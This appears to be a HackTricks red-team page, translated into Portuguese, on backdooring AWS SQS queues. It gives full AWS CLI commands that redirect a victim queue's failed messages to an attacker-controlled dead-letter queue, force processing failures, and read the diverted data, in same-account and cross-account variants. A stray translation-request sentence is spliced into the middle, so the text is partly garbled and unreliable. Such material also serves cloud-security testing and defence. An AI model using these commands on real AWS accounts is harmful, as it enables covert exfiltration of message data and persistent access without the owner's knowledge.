AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Abusar das Dead-Letter Queues (DLQs) do SQS para desviar furtivamente dados de uma fila de origem vítima, apontando sua RedrivePolicy para uma fila controlada pelo atacante. Com um maxReceiveCount baixo e acionando ou aguardando falhas normais de processamento, as mensagens são automaticamente desviadas para o DLQ do atacante sem alterar os produtores ou os Lambda event source mappings.

Permissões Abusadas

  • sqs:SetQueueAttributes na fila de origem vítima (para definir RedrivePolicy)
  • sqs:SetQueueAttributes no DLQ do atacante (para definir RedriveAllowPolicy)
  • Opcional para aceleração: sqs:ReceiveMessage na fila de origem
  • Opcional para configuração: sqs:CreateQueue, sqs:SendMessage

Fluxo na Mesma Conta (allowAll)

Preparação (conta do atacante ou principal comprometido):

bash
REGION=us-east-1
# 1) Create attacker DLQ
ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# 2) Allow any same-account source queue to use this DLQ
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'

Execução (executar como principal comprometido na conta da vítima):

bash
# 3) Point victim source queue to attacker DLQ with low retries
VICTIM_SRC_URL=<victim source queue url>
ATTACKER_DLQ_ARN=<attacker dlq arn>
aws sqs set-queue-attributes \
--queue-url "$VICTIM_SRC_URL" --region $REGION \
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'

Aceleração (opcional):

bash
# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
for i in {1..2}; do \
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
--max-number-of-messages 10 --visibility-timeout 0; \
done

Por favor envie o conteúdo do arquivo src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md para que eu possa traduzir para português mantendo a sintaxe markdown/html conforme as instruções.

bash
# 5) Confirm messages appear in attacker DLQ
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--max-number-of-messages 10 --attribute-names All --message-attribute-names All

Exemplo de evidência (Atributos incluem DeadLetterQueueSourceArn):

json
{
"MessageId": "...",
"Body": "...",
"Attributes": {
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
}
}

Variante entre Contas (byQueue)

Defina RedriveAllowPolicy na DLQ do atacante para permitir apenas ARNs de filas de origem específicas da vítima:

bash
VICTIM_SRC_ARN=<victim source queue arn>
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'

Impacto

  • Exfiltração/persistência de dados furtiva e durável ao desviar automaticamente mensagens com falha de uma fila SQS de origem da vítima para uma DLQ controlada pelo atacante, com ruído operacional mínimo e sem alterações nos produtores ou nos mapeamentos do Lambda.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks